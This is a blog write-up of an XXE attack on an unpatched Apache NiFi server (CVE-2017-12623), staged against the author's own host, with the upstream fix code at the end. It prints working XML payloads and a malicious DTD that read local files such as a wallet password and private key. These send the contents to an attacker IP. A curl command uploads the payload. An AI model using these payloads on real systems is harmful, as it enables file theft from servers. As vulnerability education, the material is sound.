Exploiting XXE Vulnerabilities in Apache NiFi

January 11, 2018

Introduction

I’ve based this write up on a fantastic one published by Chris Davis from Counter Hack on the SANS Pen-testing blog. The actual exploit itself is one that has been acknowledged and fixed in the latest public build of NiFi (1.4.0).

The reason for this post is purely for education purposes, as I’d worked with XML External Entity attacks in the past; but never fully understood how and why they work.

Exfiltration over Inception

The first exploit works by taking advantage of a small gap in the well-formed restrictions put on the XML. Lets take a look at the way we could potentially load an external entity.

<?xml version="1.0" encoding="utf-8"?-->
<!DOCTYPE demo [
     <!ELEMENT demo ANY >
     <!ENTITY % extentity SYSTEM "http://203.59.106.231:9002/evil">
     %extentity;
     ]
>

Here we are trying to load an entity from the URI of our control web server. Unfortunately however XML has some well-formed restrictions that prohibit this behaviour.

Instead perhaps we try Entity Inception where we attempt to load an external entity from another sub entity within our XML payload.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
    <!ELEMENT demo ANY >
    <!ENTITY % extentity "<!ENTITY stolendata SYSTEM ?file:///Users/nathan/Documents/bitcoinpassword'>">
    %extentity;
    ]
<

Unfortunately you cannot declare a URI to load an external entity (for example, /Users/nathan/Documents/bitcoinpassword and declare it as a value directly, so this isn’t going to work either.

Knowing that we can’t currently reference a file on the system, but we can get the parser to grab a resource from a URI we can look at a mechanism that allows us to load Data Type Defitions from a file. This is called DTD (Data Type Definition) and it’s loaded prior to an XML file being parsed.

This actually lets us load in typically restricted entity payloads and bypass the checks done by some less robust parsers.

Take a look at the following DTD file that will be served up remotely

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///Users/nathan/Documents/bitcoinpassword">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://203.59.106.231:9002/?%stolendata;'>">

The DTD file will load the target system with the %inception and %sendit variables, that come packed with the %stolendata entity; negating the well-formed restrictions.

Here’s the XML file that will be loaded into NiFi to exploit the vulnerability.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
	<!ELEMENT demo ANY >
	<!ENTITY % extentity SYSTEM "http://203.59.106.231:9002/evil.dtd">
	%extentity;
	%inception;
	%sendit;
	]
>

The diagram below outlines again how this attack takes place.

Running the Attack

Nathan has felt pretty smug recently, having made 1.6 billion fake dollars in the Crypto currency boom he’s retired and started learning NiFi in his freetime.

He left his wallet private key and its password just sitting on the NiFi server (he use to use this system to mine) in his documents folder!

Let’s use XXE to grad his data and make a clean get away! First we create the two files needs for this exploit:

  • nifi-xxe-example.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
	<!ELEMENT demo ANY >
	<!ENTITY % extentity SYSTEM "http://203.59.106.231:9002/evil.dtd">
	%extentity;
	%inception;
	%sendit;
	]
>
  • evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///Users/nathan/Documents/bitcoinpassword">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://203.59.106.231:9002/?%stolendata;'>">

Then we start up a remote listener on port 9002 (or any port that was defined in the DTD and rouge NiFi template)

python -m SimpleHTTPServer 9002

Turns out he also left his NiFi server with the default No Authentication, so we can simply open up the web page that serves NiFi’s flow viewer on http://nifi.nathanglover.com:8080/nifi/

We then start up our python HTTP listener, or any other web server that could be hosting out malicious DTD payload

Then we just upload the template

You should see two GET requests to your web server

  • /evil.dtd - This is the NiFi instance pulling your malicious Data Type Definition file
  • /?hunter1 - This is the contents of the bitcoinpassword file!

Now to get the private key we simply change the line in evil.dtd to a different target file and run it again

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///Users/nathan/Documents/privatekey">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://203.59.106.231:9002/?%stolendata;'>">

I’ve also included a copy of the curl command in case you want to run this headless

curl -i -s -k -X  'POST'  \
 -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0'  -H 'Accept: application/xml, text/xml, */*; q=0.01'  -H 'Accept-Language: en-US,en;q=0.5'  -H 'Referer: http://nifi.nathanglover.com:8080/nifi/'  -H 'X-Requested-With: XMLHttpRequest'  -H 'Content-Length: 421'  -H 'Content-Type: multipart/form-data; boundary=---------------------------51116583712296344591231217332'  -H 'Cookie: _ga=GA1.2.449301531.1511008419'  -H 'Connection: keep-alive'  -H ''  \
--data-binary $'-----------------------------51116583712296344591231217332\r\nContent-Disposition: form-data; name=\"template\"; filename=\"nifi-xxe-example.xml\"\r\nContent-Type: text/xml\r\n\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE demo [\n\t<!ELEMENT demo ANY >\n\t<!ENTITY % extentity SYSTEM \"http://203.59.106.231:9002/evil.dtd\">\n\t %extentity;\n\t%inception;\n\t%sendit;\n\t ]\n>\n\r\n-----------------------------51116583712296344591231217332--\r\n' \
'http://nifi.nathanglover.com:8080/nifi-api/process-groups/e5467fac-0160-1000-79c7-86152e91f12e/templates/upload'

This was based off the request captured from OWASP ZAP

Limitations

Currently there a few limitations and exclusions to this attack. I’ve found that it only works appropriately when all the text in the file you are pulling is only a single line. I tested and noticed that \n characters appear to break the URI stream and you end up losing the whole value.

I also attempted to exploit a couple known denial of service attacks however it became clear that Java SE 5+ has a restriction on entity expansion to 64,000 elements enabled by default, so if I try to ingest DoS XEE you’ll get an error like the following

2018-01-11 23:20:40,226 ERROR [NiFi Web nifi-docker-01] o.a.nifi.web.ContentViewerController Unable to generate view of data: Unable to transform content as XML: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 1; JAXP00010001: The parser has encountered more than "64000" entity expansions in this document; this is the limit imposed by the JDK.

The Fix


NiFi have currently fixed this bug in 1.4.0 releases of NiFi. The code changes can be found at this following commit.

To summarize, the new code seen below now includes a secure processing validator which is run over all XML uploaded to NiFi from the template view

public static final PropertyDescriptor SECURE_PROCESSING = new PropertyDescriptor.Builder()
        .name("secure-processing")
        .displayName("Secure processing")
        .description("Whether or not to mitigate various XML-related attacks like XXE (XML External Entity) attacks.")
        .required(true)
        .defaultValue("true")
        .allowableValues("true", "false")
        .addValidator(StandardValidators.BOOLEAN_VALIDATOR)
        .build();

...

private Templates newTemplates(ProcessContext context, String path) throws TransformerConfigurationException {
    final Boolean secureProcessing = context.getProperty(SECURE_PROCESSING).asBoolean();
    TransformerFactory factory = TransformerFactory.newInstance();

    if (secureProcessing) {
        factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
        // don't be overly DTD-unfriendly forcing http://apache.org/xml/features/disallow-doctype-decl
        factory.setFeature("http://saxon.sf.net/feature/parserFeature?uri=http://xml.org/sax/features/external-parameter-entities", false);
        factory.setFeature("http://saxon.sf.net/feature/parserFeature?uri=http://xml.org/sax/features/external-general-entities", false);
    }

    return factory.newTemplates(new StreamSource(path));
}

References


CVE-2017-12623 NIST Detail

NIFI-4125 commit resolving CVE-2017-12623

Exploiting XXE Vulnerabilities in IIS/.NET

XML Schema, DTD, and Entity Attacks

XML Security Cheat Sheet

comments powered by Disqus